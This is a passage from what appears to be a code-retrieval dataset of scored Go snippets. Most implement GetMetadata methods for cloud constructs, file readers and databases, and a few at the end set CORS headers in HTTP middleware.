"eba2c0633a5aa18ceebbd96d8565b88c", "score": "0.58376765", "text": "func (c *jsiiProxy_CfnStack) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "cb5f186cd8dacea4c32cdc9a66c50d66", "score": "0.5832521", "text": "func (e *Secure) GetMetadata(k string) (v interface{}) {\n\tv = e.Metadata[k]\n\treturn\n}", "title": "" }, { "docid": "4868d570e3755c7eb83a5f88d0f2e17a", "score": "0.58321756", "text": "func (c *jsiiProxy_CfnAuthorizer) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "4868d570e3755c7eb83a5f88d0f2e17a", "score": "0.583108", "text": "func (c *jsiiProxy_CfnAuthorizer) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "a2745847df93972c248f26b3170e9414", "score": "0.5830209", "text": "func (m Metadata) Get() (db.Metadata, error) {\n\tf, err := m.fs.Open(m.filePath)\n\tif err != nil {\n\t\treturn db.Metadata{}, xerrors.Errorf(\"unable to open a file: %w\", err)\n\t}\n\tdefer f.Close()\n\n\tvar metadata db.Metadata\n\tif err = json.NewDecoder(f).Decode(&metadata); err != nil {\n\t\treturn db.Metadata{}, xerrors.Errorf(\"unable to decode metadata: %w\", err)\n\t}\n\treturn metadata, nil\n}", "title": "" }, { "docid": "ea06775bfd4142f011ec899564479861", "score": "0.58285904", "text": "func (c *jsiiProxy_CfnStage) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "e4ac0fa93b56ddc6f13ac6c4b36b04b8", "score": "0.57973325", "text": "func (_e *MockDefaultConnection_Expecter) GetMetadata() *MockDefaultConnection_GetMetadata_Call {\n\treturn &MockDefaultConnection_GetMetadata_Call{Call: _e.mock.On(\"GetMetadata\")}\n}", "title": "" }, { "docid": "cbead02eda175f4a404801eb7fe88b79", "score": "0.5797232", "text": "func (c *jsiiProxy_CfnStageV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "ddfa5923de23ebed546d9cab6bb64606", "score": "0.5789822", "text": "func (c *jsiiProxy_CfnAccessPoint) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "0ece4d115ad4a9afb3dbd90b9293a4f9", "score": "0.5784296", "text": "func (c *jsiiProxy_CfnTopicRule) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "47be066350493c0b608084cce7f0f6b0", "score": "0.57806665", "text": "func (c *jsiiProxy_CfnTargetGroup) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "52697edf66940404cae12ae5783b1cdb", "score": "0.57802546", "text": "func (c *jsiiProxy_CfnDomainName) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "00926aa0bd48b4fe7fa2be6f4bfb60f5", "score": "0.57753193", "text": "func GetMetaData(PageCount uint8, PageURL string) interface{} {\n\tif PageCount < 1 {\n\t\tPageURL = \"Not Available\"\n\t}\n\tmeta := Meta{\n\t\tPage: Pagination{\n\t\t\tCount: PageCount,\n\t\t\tURL: PageURL,\n\t\t},\n\t}\n\n\treturn meta\n}", "title": "" }, { "docid": "e5c7847e0cf9f90ce2fefb0635e5f50c", "score": "0.57692164", "text": "func (c *InstallerV1) GetMetadata() Metadata {\n\treturn c.Metadata\n}", "title": "" }, { "docid": "41d24c187e7464e5d0753e107e00393e", "score": "0.5767907", "text": "func (m *MetaRecords) GetFileMetadata(ctx contractapi.TransactionContextInterface, hash string) (*FileStoreModel, error) {\n\tlog.Debugf(\"%s()\", util.FunctionName())\n\n\ttxDataJSON := new(FileStoreModel)\n\n\t// Query data from ledger\n\ttxDataJSONasBytes, err := ctx.GetStub().GetState(hash)\n\tif err != nil {\n\t\treturn txDataJSON, errorcode.Internal.WithMessage(\"Failed to retrieve data from ledger, %s\", err.Error()).LogReturn()\n\t} else if txDataJSONasBytes == nil {\n\t\treturn txDataJSON, errorcode.NoRecord.WithMessage(\"Data not Found for Key %s\", hash).LogReturn()\n\t}\n\n\t// Convert ledger data to transaction data\n\terr = json.Unmarshal(txDataJSONasBytes, txDataJSON)\n\tif err != nil {\n\t\treturn txDataJSON, errorcode.Internal.WithMessage(\"Failed to convert ledger data to Transaction data , %s\", err.Error()).LogReturn()\n\t}\n\n\treturn txDataJSON, nil\n}", "title": "" }, { "docid": "9492706098cb8e57601de74ea19dfe8b", "score": "0.57658434", "text": "func (c *jsiiProxy_CfnIntegrationResponseV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "76dc897f526019404f917a880cfddcb0", "score": "0.5764097", "text": "func processMetadata(t *table.Table) {\n\tt.Metadata = metadata.Metadata{\n\t\tPropertyID: t.ID,\n\t\tName: t.Name,\n\t\tType: \"Table\",\n\t}\n\n\tfor i, col := range t.Columns {\n\t\tt.Columns[i].Metadata = metadata.Metadata{\n\t\t\tPropertyID: col.ID,\n\t\t\tParentID: t.ID,\n\t\t\tName: col.Name,\n\t\t\tType: \"Column\",\n\t\t}\n\t}\n\n\t// Set the name and id for the PrimaryIndex as it can only ever be the same value\n\tt.PrimaryIndex.Metadata = metadata.Metadata{\n\t\tPropertyID: \"primarykey\",\n\t\tParentID: t.ID,\n\t\tName: \"PrimaryKey\",\n\t\tType: \"PrimaryKey\",\n\t}\n\n\tfor i, index := range t.SecondaryIndexes {\n\t\tt.SecondaryIndexes[i].Metadata = metadata.Metadata{\n\t\t\tPropertyID: index.ID,\n\t\t\tParentID: t.ID,\n\t\t\tName: index.Name,\n\t\t\tType: \"Index\",\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2f578c06b7120039569e3fd8b894374b", "score": "0.5762272", "text": "func (c *jsiiProxy_CfnUsagePlan) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "9067cbd329d77f5bf5e4af7044cf77de", "score": "0.5751366", "text": "func GetMetadata() (map[string]interface{}, error) {\n\thttpHeaders := map[string]string{}\n\thttpHeaders[\"Authorization\"] = \"Bearer Oracle\"\n\tvar httpStatusCode int\n\tvar err error\n\tvar metadata map[string]interface{}\n\tmetadata, httpStatusCode, err = getRequest(v2MetadataAPIEndpoint, httpHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif httpStatusCode != http.StatusOK {\n\t\tlogrus.Warnf(\"Trying %s endpoint as got %d http response from %s\\n\",\n\t\t\tv1MetadataAPIEndpoint, httpStatusCode, v2MetadataAPIEndpoint)\n\t\tmetadata, httpStatusCode, err = getRequest(v1MetadataAPIEndpoint, map[string]string{})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif httpStatusCode != http.StatusOK {\n\t\treturn metadata,\n\t\t\tfmt.Errorf(\"error:[%v] got HTTP Code %d\", err, httpStatusCode)\n\t}\n\treturn metadata, nil\n}", "title": "" }, { "docid": "97277b0a8c4ae22514dbfd9d18f6d552", "score": "0.57400274", "text": "func GetMetadataProvision(metadataID string) (interface{}, error) {\n\t// connect database\n\tdb, err := pqx.Open()\n\tif err != nil {\n\t\treturn nil, errors.NewEvent(eventcode.EventNetworkCriticalUnableConDB, err)\n\t}\n\n\tq := sqlSelectMetadataProvision\n\tp := []interface{}{}\n\tif metadataID != \"\" {\n\t\tq += \" AND md.id=$1\"\n\t\tp = append(p, metadataID)\n\t}\n\n\t// query data\n\trows, err := db.Query(q, p...)\n\tif err != nil {\n\t\treturn nil, pqx.GetRESTError(err)\n\t}\n\n\tdata := make([]*MetadataProvisionOutput, 0)\n\t// loop add data to array\n\tfor rows.Next() {\n\t\tdataRow := &MetadataProvisionOutput{}\n\t\tvar (\n\t\t\tid sql.NullInt64\n\t\t\tname pqx.JSONRaw\n\t\t\tdownloadName sql.NullString\n\t\t\tdatasetName sql.NullString\n\t\t)\n\t\trows.Scan(&id, &name, &downloadName, &datasetName)\n\n\t\tdataRow.ID = id.Int64\n\t\tdataRow.Name = name.JSON()\n\t\tdataRow.DownloadName = downloadName.String\n\t\tdataRow.DatasetName = datasetName.String\n\t\tdata = append(data, dataRow)\n\t}\n\n\treturn data, nil\n}", "title": "" }, { "docid": "ec5e84246767f5ce4dacd1c213092ace", "score": "0.5733913", "text": "func (c *jsiiProxy_CfnMitigationAction) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "0277d3284c91182d5a0c2c7c3b95f3d1", "score": "0.57317734", "text": "func (g *Gossiper) GetMetadata(MetaHash []byte) (MetaData, error) {\n\tg.metalock.mu.Lock()\n\tdefer g.metalock.mu.Unlock()\n\tfor _, md := range g.metalock.data {\n\t\tif bytes.Compare(MetaHash, md.MetaHash) == 0 {\n\n\t\t\treturn *md, nil\n\t\t}\n\t}\n\n\treturn MetaData{}, errors.New(\"ERROR : gossiper does not have the file indexed\")\n}", "title": "" }, { "docid": "e44a695d4eb5cef48a6178d06d0aff64", "score": "0.5731347", "text": "func (c *jsiiProxy_CfnDomainNameV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "5560f7767db9ec58a4843b60a9169b49", "score": "0.5729416", "text": "func (c *jsiiProxy_CfnApiKey) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "0181c7131e956827c49f77193ad0264c", "score": "0.5721794", "text": "func (v *Validator) GetMetadata(gasPriceGwei string) (*apiresponse.MetadataResponse, error) {\n\turl := v.baseUrl + \"/api/v1/metadata?gasPriceGwei=\" + gasPriceGwei\n\tresponse, err := v.Client.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif response.StatusCode != http.StatusOK {\n\t\treturn nil, errors.New(fmt.Sprintf(\"Get Metadata resolved with status [%d].\", response.StatusCode))\n\t}\n\n\tbodyBytes, err := ioutil.ReadAll(response.Body)\n\tvar metadataResponse *apiresponse.MetadataResponse\n\terr = json.Unmarshal(bodyBytes, &metadataResponse)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn metadataResponse, nil\n}", "title": "" }, { "docid": "d2e856e2d4e5fcee2a967ac15675d334", "score": "0.57217926", "text": "func (c *jsiiProxy_CfnAuthorizerV2) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "7186e140f5d6b2eaefdbeca39aea4530", "score": "0.5721335", "text": "func (c *jsiiProxy_CfnDiscoverer) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "fb41db3f3ab5bc0332df8e3d4a3b7be1", "score": "0.57212925", "text": "func (c *jsiiProxy_CfnStackSet) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "9b383d78cc2a1c49ac025a5d1aee33c4", "score": "0.57198066", "text": "func (c *jsiiProxy_CfnCustomMetric) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "f8329bfeeedad378f6c6c45f5f8b7f30", "score": "0.5715413", "text": "func GetTableMetas(db *sql.DB, schema, objName, user string, pgVersion int) (tables []PgTableMetadata, err error) {\n\n\ttables, errq := listTableMetas(db, schema, objName, user)\n\tif errq != nil {\n\t\terr = fmt.Errorf(\"Expected table metadata, got error: %q\", errq)\n\t\treturn\n\t}\n\tfor i, f := range tables {\n\t\ttables[i].StructName = u.ToUpperCamelCase(f.ObjName)\n\n\t\tcolumns, errq := listTableColumnMetas(db, f.SchemaName, f.ObjName)\n\t\tif errq != nil {\n\t\t\terr = fmt.Errorf(\"Expected column metadata for tables, got error: %q\", errq)\n\t\t\treturn\n\t\t}\n\t\ttables[i].Columns = columns\n\t}\n\treturn\n}", "title": "" }, { "docid": "0bb578853781ebcef7b8e4cdf8884eee", "score": "0.5704285", "text": "func (o *ApplicationDependency) GetMetadata() (value interface{}, ok bool) {\n\tok = o != nil && o.bitmap_&32 != 0\n\tif ok {\n\t\tvalue = o.metadata\n\t}\n\treturn\n}", "title": "" }, { "docid": "21347056ce6dbb2a1c83d90c654e544b", "score": "0.5700818", "text": "func (c *jsiiProxy_CfnNotificationRule) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "4ef002f493a09fbc723449dff4d2f221", "score": "0.5699611", "text": "func (icb *ImageCRBuilder) GetMetadata(MountPoint string) error {\n\tvar errl errlist.List\n\t//Using a pipe helps with future file reading needs\n\tfileReadPipeLine := []func(MountPoint string) (string, error){\n\t\t//app config is the based file ,it should read first\n\t\ticb.ReadOrBuildImageCRFile,\n\t\ticb.ReadInspectInfo,\n\t\ticb.ReadDocs,\n\t}\n\tfor _, f := range fileReadPipeLine {\n\t\tif out, err := f(MountPoint); err != nil {\n\t\t\terrl.Add(err)\n\t\t} else {\n\t\t\tfmt.Println(out)\n\t\t}\n\t}\n\treturn errl.Err()\n}", "title": "" }, { "docid": "eabecbca71724e2219ed28fc68cb317e", "score": "0.5697174", "text": "func (t Ticket) GetMetaData(stub shim.ChaincodeStubInterface) ([]byte, error) {\n\t_, args := stub.GetFunctionAndParameters()\n\tif len(args) < 2 {\n\t\treturn nil, meta.ErrMetaKeyNotPresented\n\t}\n\n\treturn []byte(args[2]), nil\n}", "title": "" }, { "docid": "d6afc17074f86d35e70e6c6c62cf6871", "score": "0.56821305", "text": "func (c *jsiiProxy_CfnDocumentationPart) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "0baa8515393b0c8ac1abfd1d8cf1c342", "score": "0.56703615", "text": "func (c *jsiiProxy_CfnProvisioningTemplate) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "870b13d5aafbb215d0c518516bc77877", "score": "0.56610376", "text": "func (q *QueryTableResult) TableMetadata() *query.FluxTableMetadata {\n\treturn q.table\n}", "title": "" }, { "docid": "03b98976f9a76ee2196b2ed1cbff619d", "score": "0.5656198", "text": "func (r boltResult) Metadata() map[string]interface{} {\n\treturn r.metadata\n}", "title": "" }, { "docid": "2f83ce0dd9f8551d9c5cb5f0c39c7f33", "score": "0.56518155", "text": "func (c *jsiiProxy_CfnGrant) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "8a05de190ea5d2f0f354ab76f6dd194f", "score": "0.56495", "text": "func getAllTblMeta(ctx context.Context, log lg.Log, db sqlz.DB) ([]*source.TableMetadata, error) {\n\t// This query returns a row for each column of each table,\n\t// order by table name then col id (ordinal).\n\t// Results will look like:\n\t//\n\t// table_name\ttype\tcid\tname\t\ttype\t\t\"notnull\"\tdflt_value\tpk\n\t// actor\t\ttable\t0\tactor_id\tnumeric\t\t1\t\t\t<null>\t\t1\n\t// actor\t\ttable\t1\tfirst_name\tVARCHAR(45)\t1\t\t\t<null>\t\t0\n\t// actor\t\ttable\t2\tlast_name\tVARCHAR(45)\t1\t\t\t<null>\t\t0\n\t// actor\t\ttable\t3\tlast_update\tTIMESTAMP\t1\t\t\t<null>\t\t0\n\t// address\t\ttable\t0\taddress_id\tint\t\t\t1\t\t\t<null>\t\t1\n\t// address\t\ttable\t1\taddress\t\tVARCHAR(50)\t1\t\t\t<null>\t\t0\n\t// address\t\ttable\t2\taddress2\tVARCHAR(50)\t0\t\t\tNULL\t\t0\n\t// address\t\ttable\t3\tdistrict\tVARCHAR(20)\t1\t\t\t<null>\t\t0\n\t//\n\t// Note: dflt_value of col \"address2\" is the string \"NULL\", rather\n\t// that NULL value itself.\n\tconst query = `\nSELECT m.name as table_name, m.type, p.cid, p.name, p.type, p.'notnull' as 'notnull', p.dflt_value, p.pk\nFROM sqlite_master AS m JOIN pragma_table_info(m.name) AS p\nORDER BY m.name, p.cid\n`\n\n\tvar tblMetas []*source.TableMetadata\n\tvar tblNames []string\n\tvar curTblName string\n\tvar curTblType string\n\tvar curTblMeta *source.TableMetadata\n\n\trows, err := db.QueryContext(ctx, query)\n\tif err != nil {\n\t\treturn nil, errz.Err(err)\n\t}\n\tdefer log.WarnIfCloseError(rows)\n\n\tfor rows.Next() {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil, ctx.Err()\n\t\tdefault:\n\t\t}\n\n\t\tcol := &source.ColMetadata{}\n\t\tvar notnull int64\n\t\tcolDefault := &sql.NullString{}\n\t\tpkValue := &sql.NullInt64{}\n\n\t\terr = rows.Scan(&curTblName, &curTblType, &col.Position, &col.Name, &col.BaseType, &notnull, colDefault, pkValue)\n\t\tif err != nil {\n\t\t\treturn nil, errz.Err(err)\n\t\t}\n\n\t\tif strings.HasPrefix(curTblName, \"sqlite_\") {\n\t\t\t// Skip system table \"sqlite_sequence\" etc.\n\t\t\tcontinue\n\t\t}\n\n\t\tif curTblMeta == nil || curTblMeta.Name != curTblName {\n\t\t\t// On our first time encountering a new table name, we create a new TableMetadata\n\t\t\tcurTblMeta = &source.TableMetadata{\n\t\t\t\tName: curTblName,\n\t\t\t\tSize: nil, // No easy way of getting the storage size of a table\n\t\t\t\tDBTableType: curTblType,\n\t\t\t}\n\n\t\t\tswitch curTblMeta.DBTableType {\n\t\t\tcase \"table\":\n\t\t\t\tcurTblMeta.TableType = sqlz.TableTypeTable\n\t\t\tcase \"view\":\n\t\t\t\tcurTblMeta.TableType = sqlz.TableTypeView\n\t\t\tdefault:\n\t\t\t}\n\n\t\t\ttblNames = append(tblNames, curTblName)\n\t\t\ttblMetas = append(tblMetas, curTblMeta)\n\t\t}\n\n\t\tcol.PrimaryKey = pkValue.Int64 > 0 // pkVal can be 0,1,2 etc\n\t\tcol.ColumnType = col.BaseType\n\t\tcol.Nullable = notnull == 0\n\t\tcol.DefaultValue = colDefault.String\n\t\tcol.Kind = kindFromDBTypeName(log, col.Name, col.BaseType, nil)\n\n\t\tcurTblMeta.Columns = append(curTblMeta.Columns, col)\n\t}\n\n\terr = rows.Err()\n\tif err != nil {\n\t\treturn nil, errz.Err(err)\n\t}\n\n\t// Separately, we need to get the row counts for the tables\n\tvar rowCounts []int64\n\trowCounts, err = getTblRowCounts(ctx, log, db, tblNames)\n\tif err != nil {\n\t\treturn nil, errz.Err(err)\n\t}\n\n\tfor i := range rowCounts {\n\t\ttblMetas[i].RowCount = rowCounts[i]\n\t}\n\n\treturn tblMetas, nil\n}", "title": "" }, { "docid": "6dfcd39875bc2f8330828803d3119004", "score": "0.56466323", "text": "func (t *Containers) GetMetadata() Metadata {\n\treturn t.Metadata\n}", "title": "" }, { "docid": "1bcfd22bc02c0206051d407f0e639a1d", "score": "0.5645959", "text": "func (c *jsiiProxy_CfnContactList) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "2ffb5701145e3eea5456432afe5db961", "score": "0.56407064", "text": "func (c *jsiiProxy_CfnConfigurationSetEventDestination) GetMetadata(key *string) interface{} {\n\tvar returns interface{}\n\n\t_jsii_.Invoke(\n\t\tc,\n\t\t\"getMetadata\",\n\t\t[]interface{}{key},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" } ]
f03db24340cf8106fb15621f705f8932
Cors is a middleware that sets up cors headers
[ { "docid": "eb1a81df9cda24b13a948ae3548de716", "score": "0.7391819", "text": "func Cors(next fasthttp.RequestHandler) fasthttp.RequestHandler {\n\treturn func(ctx *fasthttp.RequestCtx) {\n\t\tctx.Response.Header.Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tctx.Response.Header.Set(\n\t\t\t\"Access-Control-Allow-Methods\",\n\t\t\t\"POST, GET, OPTIONS, PUT, DELETE\",\n\t\t)\n\t\tctx.Response.Header.Set(\n\t\t\t\"Access-Control-Allow-Headers\",\n\t\t\t\"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\",\n\t\t)\n\n\t\tnext(ctx)\n\t\treturn\n\t}\n}", "title": "" } ]
[ { "docid": "6112a01d1768c41fdddc0c5be6ac22a9", "score": "0.802976", "text": "func (api *HttpApi) corsMiddleware() {\n\tif api.options.ApiOriginAllow.AllowCors {\n\t\tapi.express.Use(func(w http.ResponseWriter, r *http.Request, next func()) {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", api.options.ApiOriginAllow.AllowOrigin)\n\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", api.options.ApiOriginAllow.AllowMethods)\n\t\t\tw.Header().Set(\"Access-Control-Allow-Headers\", api.options.ApiOriginAllow.AllowHeaders)\n\t\t\tnext()\n\t\t})\n\t}\n}", "title": "" }, { "docid": "d07218d1010bac82b2ca6fdec7ec1ed7", "score": "0.79458904", "text": "func corsHeaders(fn http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method == \"OPTIONS\" { // Stop the pre-flight request.\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\t\tfn(w, r)\n\t}\n}", "title": "" }, { "docid": "94d98975d692d8d95613ebcdef287073", "score": "0.78692305", "text": "func setCors(wr http.ResponseWriter, req *http.Request) {\n\tif req.Header.Get(\"Origin\") != \"\" {\n\t\twr.Header().Add(\"Access-Control-Allow-Origin\", req.Header.Get(\"Origin\"))\n\t}\n\tif req.Header.Get(\"Access-Control-Request-Headers\") != \"\" {\n\t\twr.Header().Add(\"Access-Control-Allow-Headers\", req.Header.Get(\"Access-Control-Request-Headers\"))\n\t}\n\twr.Header().Add(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS\")\n}", "title": "" }, { "docid": "c8bed539191ce4250af9ff2eb1ab691c", "score": "0.784917", "text": "func CorsMiddleware(allowOrigins string) gin.HandlerFunc {\n\tcorsConfig := cors.DefaultConfig()\n\tcorsConfig.AddAllowHeaders(\"Authorization\")\n\tcorsConfig.AllowOrigins = []string{allowOrigins}\n\n\treturn cors.New(corsConfig)\n}", "title": "" }, { "docid": "fbec9a5cc1bdf96d709b9fb52e62de4e", "score": "0.78375477", "text": "func addCors (w http.ResponseWriter){\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\t\n\tw.Header().Set(\"Access-Control-Allow-Headers\", \n\t\t\"Accept, Accept-Encoding, Accept-Language, Authorization, Cache-Control, Connection, Content-Length, Content-Type, Host, Origin, Pragma, Referer, User-Agent\")\t\n\tw.Header().Set(\"Access-Control-Expose-Headers\", \n\t\t\"Accept, Accept-Encoding, Accept-Language, Authorization, Cache-Control, Connection, Content-Length, Content-Type, Host, Origin, Pragma, Referer, User-Agent\")\t\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \n\t\t\"GET, POST, PUT, DELETE, PATCH\")\t\n}", "title": "" }, { "docid": "b447c385601c0eb619d20c21209d8b75", "score": "0.779895", "text": "func setCors() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tc.Writer.Header().Set(\"Cache-Control\", \"no-cache\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"false\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE, OPTIONS, HEAD\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Headers\",\n\t\t\t\"Authorization, Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control\")\n\t}\n}", "title": "" }, { "docid": "b7215a019ee5bdda780aa3425ef04f68", "score": "0.77337956", "text": "func handleCors(h http.HandlerFunc) http.HandlerFunc {\n\treturn http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tif origin := req.Header.Get(\"Origin\"); origin != \"\" {\n\t\t\trw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\trw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\t\trw.Header().Set(\"Access-Control-Allow-Headers\",\n\t\t\t\t\"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-Auth-Token\")\n\t\t}\n\t\t// Stop here if its Preflighted OPTIONS request\n\t\tif req.Method == \"OPTIONS\" {\n\t\t\treturn\n\t\t}\n\n\t\th.ServeHTTP(rw, req)\n\t})\n}", "title": "" }, { "docid": "bc75acfe10c6ae9603bb13dc343cee60", "score": "0.77169514", "text": "func setupGlobalMiddleware(handler http.Handler) http.Handler {\n handleCORS := cors.New(cors.Options{\n AllowedMethods:[]string{\"OPTIONS\", \"GET\", \"DELETE\", \"POST\", \"PUT\"},\n AllowedHeaders:[]string{\"content-type\", \"Authorization\"},\n AllowCredentials: true,\n })\n return handleCORS.Handler(handler)\n}", "title": "" }, { "docid": "3fe7a55b3aa0c38947fafd0256bdd18d", "score": "0.7698138", "text": "func CorsMiddleware(allowOrigin string) gin.HandlerFunc {\r\n\treturn func(c *gin.Context) {\r\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Origin\", allowOrigin)\r\n\t\tc.Writer.Header().Set(\"Access-Control-Max-Age\", \"86400\")\r\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE, UPDATE\")\r\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Headers\", \"Origin, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\r\n\t\tc.Writer.Header().Set(\"Access-Control-Expose-Headers\", \"Content-Length\")\r\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\r\n\r\n\t\tif c.Request.Method == \"OPTIONS\" {\r\n\t\t\tc.AbortWithStatus(200)\r\n\t\t} else {\r\n\t\t\tc.Next()\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "b378089b89e8296bbbe5f0f7a4e2d9da", "score": "0.7679664", "text": "func Cors(w 